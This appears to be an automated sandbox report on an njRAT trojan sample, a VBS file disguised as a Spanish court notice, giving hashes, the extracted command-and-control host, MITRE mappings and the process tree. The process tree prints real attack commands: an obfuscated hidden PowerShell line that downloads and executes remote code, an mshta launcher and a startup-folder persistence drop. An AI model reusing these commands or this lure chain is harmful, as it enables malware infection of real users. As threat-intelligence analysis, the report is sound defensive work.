njrat | cbd527d1dbfef781aaa1d1ef6c8c5a0edd32658a230c58d504d00037cf0fcb78

General

Target

En la presente fecha el juzgado citante notifica el auto admisorio de la demanda proferido dentro de.vbs
Size

827B
MD5

d514951376914b9a27c6224acf10795e
SHA1

dcdb8f2c70372d5104ab1ee68e6f23c767a88a1b
SHA256

cbd527d1dbfef781aaa1d1ef6c8c5a0edd32658a230c58d504d00037cf0fcb78
SHA512

f69ba8b7921aadc8032578a5f7e7515bebc0377a513cad099575fbee543df6ede19659853aa728ef514a835a9737b8417af16e80cf914cd7afdbc1302d75d03e

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

fuckand.duckdns.org:3018

Mutex

e67a9b3afdbe442c9

Attributes

reg_key
e67a9b3afdbe442c9
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 4744 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3596 set thread context of 3464 3596 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4744 powershell.exe
4744 powershell.exe
4744 powershell.exe
3596 powershell.exe
3596 powershell.exe
3596 powershell.exe

flow	pid	process
9	4744	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 3596 set thread context of 3464	3596	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings	powershell.exe

pid	process
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe
Token: 33	3464	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3464	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 4692 wrote to memory of 4744	4692	WScript.exe	powershell.exe
PID 4692 wrote to memory of 4744	4692	WScript.exe	powershell.exe
PID 4744 wrote to memory of 5116	4744	powershell.exe	WScript.exe
PID 4744 wrote to memory of 5116	4744	powershell.exe	WScript.exe
PID 5116 wrote to memory of 3344	5116	WScript.exe	cmd.exe
PID 5116 wrote to memory of 3344	5116	WScript.exe	cmd.exe
PID 3344 wrote to memory of 3752	3344	cmd.exe	mshta.exe
PID 3344 wrote to memory of 3752	3344	cmd.exe	mshta.exe
PID 3752 wrote to memory of 3596	3752	mshta.exe	powershell.exe
PID 3752 wrote to memory of 3596	3752	mshta.exe	powershell.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe
PID 3596 wrote to memory of 3464	3596	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\En la presente fecha el juzgado citante notifica el auto admisorio de la demanda proferido dentro de.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/884807521624281088/Cryp18.txt');$results
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:5116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3344

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3596

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3464

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
5b2a73beff8b0a7acc286c8d386a0c20

SHA1
07df7e1ca7c3ebc45e357be28360796b2595cecf

SHA256
e7c3f1834f2133a88ce4533d6968df70546c1360efba4bb6b47443fae858fbba

SHA512
acff8ec4becaf4992a730fbb71ae24a2ed6e3f78a1a54a27428a0685a72394a583df7c8c5fc333437d988c13e92efc4abf8166c1fab5069c4ee428323fd013ba

Download Submit
memory/3344-180-0x0000000000000000-mapping.dmp

Download
memory/3464-210-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3464-211-0x000000000040677E-mapping.dmp

Download
memory/3464-220-0x0000000005890000-0x0000000005891000-memory.dmp

Filesize
4KB

Download
memory/3464-219-0x0000000005800000-0x0000000005CFE000-memory.dmp

Filesize
5.0MB

Download
memory/3464-218-0x0000000005990000-0x0000000005991000-memory.dmp

Filesize
4KB

Download
memory/3464-217-0x0000000005D00000-0x0000000005D01000-memory.dmp

Filesize
4KB

Download
memory/3464-216-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/3596-209-0x0000029D5B370000-0x0000029D5B373000-memory.dmp

Filesize
12KB

Download
memory/3596-208-0x0000029D5B360000-0x0000029D5B365000-memory.dmp

Filesize
20KB

Download
memory/3596-184-0x0000000000000000-mapping.dmp

Download
memory/3596-200-0x0000029D5B350000-0x0000029D5B352000-memory.dmp

Filesize
8KB

Download
memory/3596-203-0x0000029D5B3D0000-0x0000029D5B3D2000-memory.dmp

Filesize
8KB

Download
memory/3596-205-0x0000029D5B3D3000-0x0000029D5B3D5000-memory.dmp

Filesize
8KB

Download
memory/3596-207-0x0000029D5B3D6000-0x0000029D5B3D8000-memory.dmp

Filesize
8KB

Download
memory/3752-181-0x0000000000000000-mapping.dmp

Download
memory/4744-153-0x00000216908A3000-0x00000216908A5000-memory.dmp

Filesize
8KB

Download
memory/4744-121-0x0000021690DC0000-0x0000021690DC1000-memory.dmp

Filesize
4KB

Download
memory/4744-115-0x0000000000000000-mapping.dmp

Download
memory/4744-140-0x00000216A90D0000-0x00000216A90D1000-memory.dmp

Filesize
4KB

Download
memory/4744-151-0x00000216A93E0000-0x00000216A93E1000-memory.dmp

Filesize
4KB

Download
memory/4744-152-0x00000216908A0000-0x00000216908A2000-memory.dmp

Filesize
8KB

Download
memory/4744-160-0x0000021690E40000-0x0000021690E42000-memory.dmp

Filesize
8KB

Download
memory/4744-159-0x00000216908A6000-0x00000216908A8000-memory.dmp

Filesize
8KB

Download
memory/5116-177-0x0000000000000000-mapping.dmp

Download

Analysis

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